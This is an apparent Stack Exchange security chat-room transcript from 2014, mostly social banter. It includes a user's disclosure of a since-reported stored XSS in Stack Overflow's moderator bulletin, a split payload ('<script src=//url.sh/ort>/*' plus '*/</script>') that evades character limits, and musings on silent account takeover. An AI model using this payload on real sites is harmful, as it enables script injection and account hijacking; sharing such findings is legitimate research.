The DMZ

TildalWave

01:37

@ThomasPornin No, it's early :P

@LucasKauffman heya mister, where's you been?

Also, where's the tigger? (aka @AviD)?

David Freitag

01:53

3

Also, this. llamaaway.ytmnd.com cc:\ @lucas

4

Lucas Kauffman

06:32

@TildalWave just been busy at work lately

Rоry McCune

07:57

@LucasKauffman live demos at a talk..... you're brave

Lucas Kauffman

09:07

@RоryMcCune took the most reliable ones

Jboss exploit

then mimikatz

then GG

Rоry McCune

@LucasKauffman cool well fingers crossed for you :) I've always been a bit shy of live demos after being visited by the dark angel of demos a couple of times

things that worked literally 30 mins before the preso wierdly failed on me

Arperum

10 hours ago, by Thomas Pornin

@LucasKauffman At colleges, audience does not want a working demo. They want an epic and funny failure, preferably with fire involved.

SO all he has to do to redeem himself is setting the room on fire. And provide beer.

Lucas Kauffman

@Arperum I wanted to do that, but considering I'm there as EY my colleague didn't want to spread beer around

Arperum

@LucasKauffman Bah. Boring.

raz

12:22

Anyone want to explain DH? security.stackexchange.com/questions/73114/…

raz

13:03

Man where is everyone, is there a European holiday I don't know about?

Rоry McCune

@raz dunno guv it's oddly quiet. Obv. we've lost @TerryChia to the military, @avid seems to have gone to hipsterland, @Adnan I presume is heads-down trying to get an exploit for MS14-066, @RoryAlsop is probably doing end of year HR stuff....

that said that DH question is more one for the crypto people than anything else by the looks of it.

raz

Bah

What does @Adnan do for a living?

Rоry McCune

@raz well he works in IT, not sure he's ever put on the forum exactly where.

raz

Ouch, IT

It pays well, but I'd be bored out of my mind.

Simon

13:24

@RоryMcCune Has Terry already been sent? That sucks.

Rоry McCune

@Simon IIRC he started a week or two back, which is why he's been around less.

Simon

Ew.

Rоry McCune

hopefully after basic, they'll have a "hacker-corps" that he could get into

Simon

Yeah, that'd make the whole situation way better.

Rоry McCune

yeah he could "research" online hacking activies, by hanging out in hives of scum and villany... like the DMZ :)

raz

13:27

What branch of the military is he in?

Simon

I don't think it's a specific "branch", he must do a 1-year training because Singapore is dumb IIRC.

raz

ah

Rory Alsop

@RоryMcCune no - I have a regulatory day....

not blimming HR .....

that's next week

Rоry McCune

@RoryAlsop regulatory day that sounds ....... fun

Simon

I watched Ken Block's Gymkhana 7 yesterday, he actually does donuts around a donut store. I felt like that scene was filmed just for me.

Rory Alsop

13:33

@LucasKauffman really? that seems unlike the organisation I used to know :-)

raz

@RoryAlsop What does that mean?

Rory Alsop

@RоryMcCune hmmmm - no

@Simon It was. Ken Block loves you - and he misses his Subaru

Simon

@RoryAlsop He actually did donuts around an STi shell :(

Rory Alsop

@Simon Still need to see his latest one. The last I saw had the spiked wrecking ball, and driving under the containers

Simon

The new one is pretty cool, it's an AWD Mustang which is an interesting concept imo.

raz

13:36

What are you guys talking about?

Simon

►

Rory Alsop

@raz cool stuff

not for hipsters - petrolheads only

Simon

lulz

raz

Oh nice that's bad ass

Simon

14:00

Now that AviD is gone, who will be the leader of the anti #yolo squad? A #yolo comeback might be preparing, who knows?

Journeyman Geek

#yolt, you #dolt ;p

Simon

Man, dog people are weird.

raz

Cat people are worse.

And don't get me start on crab people.

Simon

cats 4 lyf3

Lighty

even virtual machines aint' safe

Simon

14:08

[email protected]

Lighty

i haz lotsa aliases for outlook, so i haz lotsa stuff if i need to signup for random sites

:3

raz

@Lighty No one is safe from Microsoft

Simon

No one.

ManishEarth

Nov 15 at 8:59, by ManishEarth

Just found an obscure XSS vuln in stack overflow

I can reveal this now

(@RоryMcCune @TerryChia)

Mods can add things manually to the community bulletin. Which is shown on all pages.

One of the fields (date display override) was XSSable

Simon

Good thing only mods could do it.

ManishEarth

14:20

30 char limit, but you can circumvent that by adding two events and having <script src=//url.short>/* and */</script> to them respectively

@Simon ^_^

But mods, as we know, are the evilest bunch

Simon

Very true.

ManishEarth

@Simon Note that while it leaves a record, it's hard to notice. A mod could do it pretty easily, take over everyone's account by adding logins (and removing existing ones if you're fine with the exploit being noticed when its too late). Perhaps even using hijacked mods accounts to propagate.

Simon

Some say that mods aren't human.

ManishEarth

It would be a while before it was noticed if it was executed properly.

Simon

@ManishEarth That's nasty.

May I suggest that you hijack AviD's account?

ManishEarth

14:24

And if it was done in an inconspicous way (just a bit of vote fraud, maybe, or taking over a small percentage of accounts or only medium rep ones), you might never get noticed/caught

@Simon What makes you think I haven't already?

Simon

@ManishEarth Because AviD still doesn't make sense.

ManishEarth

Yes, but changing how he behaves would get the change noticed. Markov chains ftw.

Simon

@ManishEarth Feel free to hijack my account to post answers.

ManishEarth

Ohhhh....perfect.

Hack everyone, markov chain their activity

Rоry McCune

@ManishEarth nice!

ManishEarth

14:26

Nobody notices, yet Stack Exchange is suddenly a bunch of robots talking to each other

....not that it isn't already

Simon

@ManishEarth Then drown in pink, am I right?

ManishEarth

?

Simon

lulz

I don't wanna explain that :D

Rоry McCune

14:45

blogs.technet.com/b/msrc/archive/2014/11/18/… <-- Microsofts bad month continues

ManishEarth

hooray security

is it just the media hype or have there been way more serious sec vulns this year?

It's like 2014 was the year for discovering bugs introduced a decade ago.

Rоry McCune

15:03

mo' money, mo' problems

there's loads of cash to be made in vulns these days, either bug bounties or exploit/malware creation

so more people looking

so more bugs found

raz

Also more and more people are becoming security aware in the industry.

Simon

Also more donuts are consumed.

raz

Donut consumption is proven to be directly related to vulnerability research success.

Simon

15:20

I'm glad to hear that you're aware of this.

Arperum

@RоryMcCune If I ever need an excuse for hanging out in here during work hours: reporting these issues to the people who manage our servers is a perfectly good reason.

Rоry McCune

@Arperum \o/ . On this one as far as I'm aware no real details on what it it, apparently it's one that wasn't quite ready for this months release, but given that out of band patches are really annoying for people, I'm guessing it must be quite serious.

Arperum

@RоryMcCune I'm kinda curious if they have patched for the previous one already. I mentioned it a couple times, so they should have.

Simon

15:36

I'm listening to some Hardcore, time to get mad while coding.

Rоry McCune

15:49

@Simon not normcore?

Simon

@RоryMcCune Do I look like a normal human being?

Rоry McCune

@Simon I wouldn't know I've only seen that hobo you paid to play you on that ALS video

Simon

It was worth every penny.

QOTW!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!‌!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!‌!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!‌!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Lucas Kauffman

@RoryAlsop yea I know rite :( I wanted to give beer to anyone with a question

as to get some interaction

Rоry McCune

@LucasKauffman I did that at B-Sides London.. it worked :)

Thomas Pornin

16:37

I write a two-page answer; I post it; 12 seconds later I get an upvote.

Either some people are very fast readers; or Pavlov was right.

Simon

And we all know that Pavlov once said: "Reputation gets you more reputation".

Thomas Pornin

@Simon With great reputation comes great reputation.

Simon

@ThomasPornin Wow. I was damn close.

Thomas Pornin

@Simon I doubt Ivan Pavlov was knowingly making Spiderman quotes, though. Time travel is not documented as one of Pavlov's superpowers.

Simon

I'm gonna pretend that I know why you're talking about Spiderman.

nods

raz

17:05

One of the more interesting questions I've seen:

2

Q: How is a Tor hidden service authenticated based only on trusting the address?

While being fascinated by how it is possible to create hidden services with Tor, there's a few details around the address collision issue I can't seem to wrap my head around. Quote from Hidden Service Names on the Tor wiki (my emphasis): The output of SHA1 has a length of 160 bit. To make ha...

AJ Henderson

17:17

@ThomasPornin it takes reputation to make reputation

Simon

18:09

@ThomasPornin I think this user is trying to join your clan:

Andrew Hoffman

745 1 10

passwords password-management authentication password-policy hash encryption anonymity

Adnan

@RоryMcCune It has proven to be quite difficult. One reason is that I'm getting so very distracted by the posts and writeups about it on Tiwtter

First I was looking into signature stuff on the client-side (IE)

Then I got the RDP PoC and started working with it

Then I saw that IIS writeup (which is pretty neat) and starting looking into it

I need to concentrate on one thing and keep having at it.

@raz Like most of us here, I work in the IT field. It's difficult to tell exactly what I do because of my employment situation and the size of the company where I work (~300 employees)

My official title is "Software Expert", because that's the de facto title for anybody who doesn't have a title in our company.

I do software development (.Net, Java, PHP, NodeJS, etc.) and security stuff (hardening, web app audit, fuzzing, basic debugger play etc.)

raz

@Adnan I suppose that doesn't sound like the worst thing in the world.

Adnan

@raz Not at all. In the end, I'm an immigrant in this country; I'm happy with any job I can get that allows me to maintain my visa (residence permit)

Oh yeah, and since it became customary to make fun of Finland here.

raz

@Adnan You an immigrant to Finland?

Adnan

@raz Yep

Thomas Pornin

18:24

@Adnan So you are as Finnish as I am Canadian.

raz

Why are you on the run?

Thomas Pornin

Did you apply for Finnish citizenship ?

Adnan

@raz Immigrant doesn't mean fugitive :D

@ThomasPornin Pretty much yes

raz

@Adnan Tomato tomato

Adnan

@ThomasPornin I have strong (and somewhat illogical) views on getting a citizenship other than my birth citizenship.

Simon

18:26

I'd like to get Dutch citizenship and show @Lighty how to be a proper Dutch.

2

Adnan

I was already semi-forced to take a citizenship other Syrian. Sadly, denouncing this second citizenship is such a hassle, so I'm not doing it.

Thomas Pornin

@Adnan which one ?

Adnan

@raz Not at all. I just decided I want to reside somewhere else.

Thomas Pornin

If you intend to travel, an EU-member citizenship is very convenient.

Adnan

@ThomasPornin I know it's silly and childish, but I'd rather not say. It'll start a discussion/argument that I don't wish to start.

Simon

18:28

@Adnan Oh, you're French? That's understandable then.

raz

If he was French he'd want the argument.

Simon

Shit, that's true, I messed up.

raz

RAZ WINZ!! HUZZAH!

Simon

YOU WON THE BATTLE BUT NOT THE WAR.

Adnan

@Simon Hehehe.. funny thing, I was very close to becoming a Canadian citizen at one point

Simon

18:32

@Adnan Really? You like the country?

Thomas Pornin

@Adnan You were feeling the urge to apologize ?

Adnan

@Simon We lived there with my family a few years in Kitchener

Simon

@Adnan Oh, nice.

Adnan

@ThomasPornin Every time I hear "Feeling the urge to..." I think of someone who's about to sneeze

Rory Alsop

18:50

@RоryMcCune and that's the meeting just finished....

I can go home now

AJ Henderson

19:03

Don't be a hater... be a hatter! Bring on the Hats!!!

simon can take the opposing view... "Don't be a doughnut... donot bring on the hats!!!"

raz

19:37

Free Hat! Free Hat! Free Hat!

Adnan

Oh, speaking of hat. I'm waiting for my new super awesome hat

Profile picture will be updated accordingly once I have the hat

David Freitag

@Adnan That's pretty badass. My sister is knitting me something similar.

Adnan

@DavidFreitag I like your sister.

My sister knows how to update her profile picture on Facebook... and that's pretty much it

David Freitag

@Adnan It's for christmas, but I'll be posting pictures once I get it. Also, she's making me Dr. Who and a Cthulhu plush for my birthday in January.

Adnan

I think I failed as a brother

Simon

19:50

wat

David Freitag

Apparently I spent most of my childhood tormenting my sister.

But like most things I can't remember any of that

Adnan

@Simon I just regret not having an active role in raising my sister in her pre and early teen years

It's difficult to do that remotely from Finland to Syria

Simon

Oh.

raz

There are some badass Assassin's Creed hoodies out there.

Simon

@raz Do you want to reach that level of nerdiness?

Adnan

19:53

@Simon Look who's talking! :D

Simon

@Adnan I don't want him to make the same mistakes!

raz

If you don't embrace it then what's the point?!

Adnan

@Simon He already has a nerdy TV show reference as his profile pic. He's already deep enough in the mistake

raz

I've got a sonic screwdriver programmed to control my TV and Comcast guide.

@Adnan Exactly

Simon

@Adnan I actually have no idea what it is.

raz

19:55

lol

Adnan

@Simon Google Adipose

raz

cdn.shopify.com/s/files/1/0262/3477/products/…

Googling random things can be scary some times.

Simon

@Adnan I did "Search Google for this image" and found it :p

I should use this feature more often.

Adnan

27

Q: A co-worker is using my cup

I have a co-worker using my coffee mug at work. I want to make him stop without sounding like I'm being picky. I have tried making the point indirectly that the cup belongs to me but he still uses it. Our cleaner cleans the cups and puts them on a tray in the kitchen area, he usually arrives in ...

colleagues

Clearly, you ask your mother to talk to his mother.

Simon

I read it a few minutes ago, I found it so silly.

raz

19:59

@Adnan My dad can beat up your dad.

Adnan

@raz That would be really nice. It might knock some sense back into him

Simon

Now's the perfect time to post the "That escalated quickly" picture, someone.

raz

And now you've ruined the moment. As I've sure you've heard so many times before.

Xander

@Adnan I love that lock mug.

Adnan

@raz Every night. Just ask @Kisu :D

Simon

20:06

:D

David Freitag

I couldn't possibly be more excited right now.

Adnan

@Xander A very interesting idea indeed

@DavidFreitag I bet you can

Simon

@DavidFreitag Don't leave us hanging you donut.

raz

@DavidFreitag Is that a wireless antennae or are you just happy to see us?

David Freitag

@Adnan Okay, within reason, in my cube at work.

@raz Giggity

@Simon A large scale work project I have been working on for the past 18 months is finally coming to fruition

Hah

Simon

20:12

@Adnan :(

David Freitag

Yeah well it's my first major project and it's going to keep the company open for at least the foreseeable future so I'm entitled to be excited :]

TildalWave

:18670140 you're leaking our trade secrets!

ah OK better now :)

Simon

What?

Oh sorry, let me fix that.

wat

TildalWave

he explained how The DMZ works to be so efficient

David Freitag

@TildalWave What, poor WiFi connection?

raz

20:14

@DMZ you are sooooooo good looking.

Simon

lulz

raz

@DavidFreitag Yeah I just found a new vulnerability in my research yesterday. Made me feel good.

TildalWave

@DavidFreitag that's just a bonus, no ... the other thing

raz

4 months of research, 2 device crashes.

David Freitag

@TildalWave The train?

Simon

20:15

choo choo

David Freitag

@raz :D

TildalWave

@DavidFreitag the thing before and including pressing Enter

raz

I drank my 3 year aged Unibrou Grand Reserve 17 last night in celebration @DavidFreitag @Xander

Adnan

David Freitag

@TildalWave Ooooohhh. I see. The way to succeed in the tech industry is to do all work remotely on the train with poor internet connection. Gotcha.

TildalWave

20:18

or a boat

Simon

I'm on a boat

David Freitag

@raz I'm still a few weeks away from any celebrations, but that looks delicious.

@Simon In soviet Russia boat is on you

Simon

@DavidFreitag It's not polite to refer to a fat woman by the term "boat".

David Freitag

@Simon It's your mom, call her what you want

TildalWave

a raft :)

Simon

20:20

ma poor mum

TildalWave

@Simon You're on a raft! "A flatbottom inflatable craft for floating or drifting on water: shooting the rapids in a rubber raft."

Simon

No, I'm on a donut you donut.

Xander

@raz Yum!

raz

@Xander Really mellowed out, the hint of booziness it has just went away. And it only got better with warmth.

TildalWave

@Simon OK, but is it a flatbottom inflatable rubber one?

David Freitag

20:23

@TildalWave Nope it's just glazed i think

Simon

Just Glaze 420

raz

Fatbottom girls?

Simon

wat

raz

►

You're welcome

Simon

20:38

This video was recorded over 9000 years ago and he looks like he could be my grandfather.

raz

Respect it!

Simon

@raz nou

Lucas Kauffman

@RoryM you were right, one of the exploits, the most reliable ffs, failed :p

4

Simon

20:54

Old but gold, unlike what @raz has shown me.

ManishEarth

21:13

For my birthday I want a *.com SSL cert. Thanks.

David Freitag

@ManishEarth Speaking of which, any swag from the SE vuln?

ManishEarth

@DavidFreitag Nah. Still got to be listed on the wall of fame

Also, I have tons of SE swag :)

including the infosec flashlight which is awesome

David Freitag

lol

ManishEarth

There's a 30 char limit on that field, discovered something useful regarding XSS and character limits

XSS tip: With stringent character limits, if you have two vulnerable fields `<script src=//url.sh/ort>/*` and `*/</script>` work.

Tweeted by ManishEarth on November 18, 2014 at 3:13 PM

you guys might find it useful

David Freitag

haha, oh man. stackoverflow.com/posts/782729/revisions

ManishEarth

21:19

lol

Jeff Ferland

21:52

@ManishEarth: did Ruth get in touch with you?

ManishEarth

@JeffFerland Yeah, but it went in my "Other" inbox :)

Just saw it, sorry

responding now

David Freitag

22:05

I really hate how google music automatically skips if it runs out of buffer on the current song instead of just buffering it -.-

David Freitag

22:20

heh, the download.oracle.com ssl cert is invalid.

Thomas Pornin

@DavidFreitag Meh, it is just a redirect to a non-SSL site.

No need for a valid SSL cert if you just remove the SSL anyway.

David Freitag

@ThomasPornin Yeah I read up on it and realized once again I have no idea what I'm talking about

Rory Alsop

22:47

Quick question to you guys: HAT DASH?

7

ManishEarth

YES

Rory Alsop

141

Q: What do you think of Winter Bash?

As Winter Bash winds down, I'm interested in hearing your feedback about the event. While I've been pretty responsible about monitoring (and responding to) questions in winterbash, I'm more interested in knowing what you all think of the event! What have you enjoyed? What would you like to se...

discussion winterbash-2012

ManishEarth

I'll get the chloroform so @Simon can't say no

David Freitag

@ManishEarth hahaha, that's something we expect from @Simon, not from you

Jeff Ferland

I, for one, look forward to wearing a Santa hat for the next 10 months.

David Freitag

22:59

@JeffFerland I will have a santa hat right up until christmas. Then I'll have a badass knitted viking hat.

TildalWave

23:20

@RoryAlsop Yay to the Sec.SE cosplay! Mmmmmkay?

and I want a poodle hat

shuddup @Simon!

Iszi

Google-Fu is sucking today. Trying to remember where it was I saw someone write an article, think it had something to do with security by obscurity, where they mentioned changing the default SSH port on a public-facing server and seeing the unsolicited activity drop by like 97% or so. Could swear it was Krebs or Hunt, but I'm not finding it. Anyone?

Gilles

@Iszi I'm not surprised by that (I used to have a lot of SSH attempts on my home IP address, it went down and it's come back lately). But the only consequence of that unsolicited activity is a mildly annoying volume of log entries and a bit of CPU consumption, so the security improvement in deterring those attempts is rather small.

The attacks have improved a bit: these days I'm getting plausible usernames like git and pi, a few years ago I was getting things like administrator

Iszi

23:39

@Gilles IIRC, it was brought up to legitimize security by obscurity as a defense layer. Of course, it wasn't suggested that it should be your only defense - just that it's a generally nominal-impact change that significantly reduces your exposure to frequent threats.

Damn thing's gonna bug the hell out of me until I figure out where I saw it and find it again.

@RoryAlsop That's rhetorical, right?

Journeyman Geek

@Gilles: I'd guess pi is to get people who set up raspis and forget to change the default password

I can entirely see how that would be useful

ManishEarth

@JourneymanGeek A lot of folks set up closet Pi servers

Journeyman Geek

yup

I need to fix mine up :/

Gilles

@JourneymanGeek Yup, nowadays the attacks use quite a few plausible usernames. A few years back they used to use largely implausible usernames. I'm also seeing quite a few attempts that aren't providing authentication data, so they must be exploits for known bugs.

Changing the port gets you crawled less but it doesn't reduce the risk — these are all lowest-common-denominator attacks (long-patched bugs, default user/pw pairs).

Journeyman Geek

yup

I think the last home server I had on the open internet, I got fed up and set up fail2ban to do a weeklong block after 3 wrong attempts ;p

Transcript for